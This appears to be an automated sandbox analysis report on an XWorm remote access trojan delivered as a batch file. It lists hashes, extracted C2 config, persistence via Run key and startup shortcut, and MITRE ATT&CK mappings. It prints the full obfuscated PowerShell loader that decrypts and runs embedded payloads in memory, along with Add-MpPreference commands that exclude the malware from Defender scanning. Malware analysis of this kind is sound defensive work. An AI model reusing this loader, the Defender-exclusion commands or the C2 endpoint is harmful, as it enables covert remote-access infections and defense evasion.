xworm | c149c689139cacc133cf0718188cbedc9fe0be449297a71f1c5a18255bdfac2a

General

Target

stub.bat
Size

296KB
MD5

907e9fc6911129b0a47c7d86d7f7f9d8
SHA1

685dfd20c4e49dbb6f6aad11b58c97ab0162e8bc
SHA256

c149c689139cacc133cf0718188cbedc9fe0be449297a71f1c5a18255bdfac2a
SHA512

07a1239ded8379d48dee4cfef74e9496c090ecc4b8efae0bb26fafbebc58736be0e69f7b9ded184da058e282f0f8a0c69060c60ae8ab870cc1d68aee328713ee
SSDEEP

6144:PlnR5B5sUMI+nNsj1dh6X+eRMiTF+VFESpcob6SgTMzpbm6j9o88Upt/R8N0ns7:9R5zsUMDsjx4dF6cSQ4BOUD/RE7

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:48802

those-situation.gl.at.ply.gg:48802

Attributes

Install_directory
%AppData%
install_file
x4host.exe

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2608-15-0x00000240B8D50000-0x00000240B8D68000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

15 2608 powershell.exe
22 2608 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2608 powershell.exe
2796 powershell.exe
2884 powershell.exe
1868 powershell.exe
2944 powershell.exe

flow	pid	process
15	2608	powershell.exe
22	2608	powershell.exe

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4host.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4host.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\x4host = "C:\\Users\\Admin\\AppData\\Roaming\\x4host.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

14 ip-api.com

flow	ioc
14	ip-api.com

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2608	powershell.exe
2608	powershell.exe
2796	powershell.exe
2796	powershell.exe
2884	powershell.exe
2884	powershell.exe
1868	powershell.exe
1868	powershell.exe
2944	powershell.exe
2944	powershell.exe
2608	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

2608 powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 4012 wrote to memory of 2608	4012	cmd.exe	powershell.exe
PID 4012 wrote to memory of 2608	4012	cmd.exe	powershell.exe
PID 2608 wrote to memory of 2796	2608	powershell.exe	powershell.exe
PID 2608 wrote to memory of 2796	2608	powershell.exe	powershell.exe
PID 2608 wrote to memory of 2884	2608	powershell.exe	powershell.exe
PID 2608 wrote to memory of 2884	2608	powershell.exe	powershell.exe
PID 2608 wrote to memory of 1868	2608	powershell.exe	powershell.exe
PID 2608 wrote to memory of 1868	2608	powershell.exe	powershell.exe
PID 2608 wrote to memory of 2944	2608	powershell.exe	powershell.exe
PID 2608 wrote to memory of 2944	2608	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UH/fwSN0PyJWF9gmCa0rqlchsQbW6Xom1tbi76SAsl8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+aIshcp+X8HCUI4eH6i5ug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oywQV=New-Object System.IO.MemoryStream(,$param_var); $jMsno=New-Object System.IO.MemoryStream; $pQPHW=New-Object System.IO.Compression.GZipStream($oywQV, [IO.Compression.CompressionMode]::Decompress); $pQPHW.CopyTo($jMsno); $pQPHW.Dispose(); $oywQV.Dispose(); $jMsno.Dispose(); $jMsno.ToArray();}function execute_function($param_var,$param2_var){ $JJuGC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lCOec=$JJuGC.EntryPoint; $lCOec.Invoke($null, $param2_var);}$uoxMw = 'C:\Users\Admin\AppData\Local\Temp\stub.bat';$host.UI.RawUI.WindowTitle = $uoxMw;$pLlrs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uoxMw).Split([Environment]::NewLine);foreach ($IZJzW in $pLlrs) { if ($IZJzW.StartsWith(':: ')) { $tvpGf=$IZJzW.Substring(3); break; }}$payloads_var=[string[]]$tvpGf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x4host.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x4host.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
51cf8df21f531e31f7740b4ec487a48a

SHA1
40c6a73b22d71625a62df109aefc92a5f9b9d13e

SHA256
263d9b98a897d1d66da4832af640c4bf5ab0ae91125ba12243453dfe714f3d0d

SHA512
57a85461f6ea96b26a8b53d3a9cca18543e4ddbe996e8f412fc4cf7cf6e9ffe558c96da7b322a42f18bef62020e65aee119bed6102f75e2f605df09b02ec6368

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
15dde0683cd1ca19785d7262f554ba93

SHA1
d039c577e438546d10ac64837b05da480d06bf69

SHA256
d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961

SHA512
57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4szgc50.b20.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2608-12-0x00007FFBF1F60000-0x00007FFBF2A21000-memory.dmp

Filesize
10.8MB

Download
memory/2608-14-0x00000240B8D10000-0x00000240B8D4A000-memory.dmp

Filesize
232KB

Download
memory/2608-15-0x00000240B8D50000-0x00000240B8D68000-memory.dmp

Filesize
96KB

Download
memory/2608-13-0x00000240B8CE0000-0x00000240B8CE8000-memory.dmp

Filesize
32KB

Download
memory/2608-0-0x00007FFBF1F63000-0x00007FFBF1F65000-memory.dmp

Filesize
8KB

Download
memory/2608-11-0x00007FFBF1F60000-0x00007FFBF2A21000-memory.dmp

Filesize
10.8MB

Download
memory/2608-10-0x00000240B8A90000-0x00000240B8AB2000-memory.dmp

Filesize
136KB

Download
memory/2608-69-0x00007FFBF1F63000-0x00007FFBF1F65000-memory.dmp

Filesize
8KB

Download
memory/2608-70-0x00007FFBF1F60000-0x00007FFBF2A21000-memory.dmp

Filesize
10.8MB

Download
memory/2796-16-0x00007FFBF1F60000-0x00007FFBF2A21000-memory.dmp

Filesize
10.8MB

Download
memory/2796-17-0x00007FFBF1F60000-0x00007FFBF2A21000-memory.dmp

Filesize
10.8MB

Download
memory/2796-18-0x00007FFBF1F60000-0x00007FFBF2A21000-memory.dmp

Filesize
10.8MB

Download
memory/2796-30-0x00007FFBF1F60000-0x00007FFBF2A21000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads